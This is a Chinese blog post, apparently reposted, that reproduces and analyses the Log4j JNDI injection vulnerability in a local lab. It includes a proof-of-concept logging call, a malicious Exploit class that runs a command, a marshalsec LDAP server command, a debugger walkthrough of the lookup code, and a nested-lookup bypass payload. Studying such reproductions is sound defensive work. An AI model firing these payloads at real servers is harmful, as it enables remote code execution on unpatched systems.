Log4j远程代码执行漏洞

Log4j远程代码执行漏洞

简介

漏洞描述

Apache Log4j 是 Apache 的一个开源项目,Apache log4j-2 是 Log4j 的升级,我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

漏洞原理

当log4j打印的日志内容中包括 ${jndi:ldap://ip}时,程序就会通过Idap协议访问ip这个地址,然后ip就会返回一个包含Java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行。

影响范围

Apache Log4j 2.x < 2.15.0-rc2。

漏洞复现

vscode创建maven项目,导入依赖,pom.xml内容:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.example</groupId>
    <artifactId>Log4j</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
        </dependency>
    </dependencies>
</project>

构建poc,测试漏洞,实际情况中logger.error的参数是网站输入参数,这里我们直接将poc输入测试。

// LogOut.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class LogOut {
    public static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        logger.error("${jndi:ldap://localhost:1389/Exploit}");
    }
}

构建恶意脚本Exploit.java

扫描二维码关注公众号,回复: 15106344 查看本文章
//Exploit.java
public class Exploit {
    public static void main(String[] args) throws Exception {
        System.out.println("Hello, World!");
        try{
            String cmd="calc";
            Runtime.getRuntime().exec(cmd);
        } catch(Exception e){
            e.printStackTrace();
        }
    }
}

编译成class文件。

javac Exploit.java

搭建ldap服务,需要下载marshalsec-0.0.3-SNAPSHOT-all.jar

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

image-20220907125517077

关键函数:

image-20220908194454201

workingBuilder在offset出存储着输入的字符串,此处即${jndi:ldap://localhost:1389/Exploit},我们可以看到此处for循环遍历整个输入字符串寻找${

跟进this.config.getStrSubstitutor().replace(event, value)

image-20220908195007215

继续跟进substitute函数:

image-20220908195914186

通过查看调试器我们可以知道prefixMatcher=${ ,suffixMatcher=},valueDelimiterString=:-,

image-20220908195949964

最终经过对${ }的匹配,成功提取${jndi:ldap://localhost:1389/Exploit}的中间内容jndi:ldap://localhost:1389/Exploit

image-20220908200922868

后面都是对:-等的处理,直到关键函数this.resolveVariable()其中varNamejndi:ldap://localhost:1389/Exploit

image-20220908201926090

继续跟进,返现lookup函数

image-20220908201832510

可以看到lookup函数可以实现的各种类其中就包括jndi,当然我们也是使用其他的方法。

image-20220908202643331

最终引发jndi注入。

同时我们可以发现在此处进行,分解组装操作,即将${::-j}变为j并重新合并至源字符串中,这就是bypass基本原理。

image-20220908210740930

这里可以看到匹配函数,isMatch会匹配:-

image-20220908212023212

Bypass

由以上分析实际上只要存在:-j即可bypass,如${${a:-j}${b:-n}${c:-d}${d:-i}:${.:-l}${,:-d}${::-a}${::-p}://localhost:1389/Exploit},当然这只是最原始版本的bypass,最新版的还未研究。
( ̄y▽, ̄)╭

猜你喜欢

转载自blog.csdn.net/weixin_44411509/article/details/126968478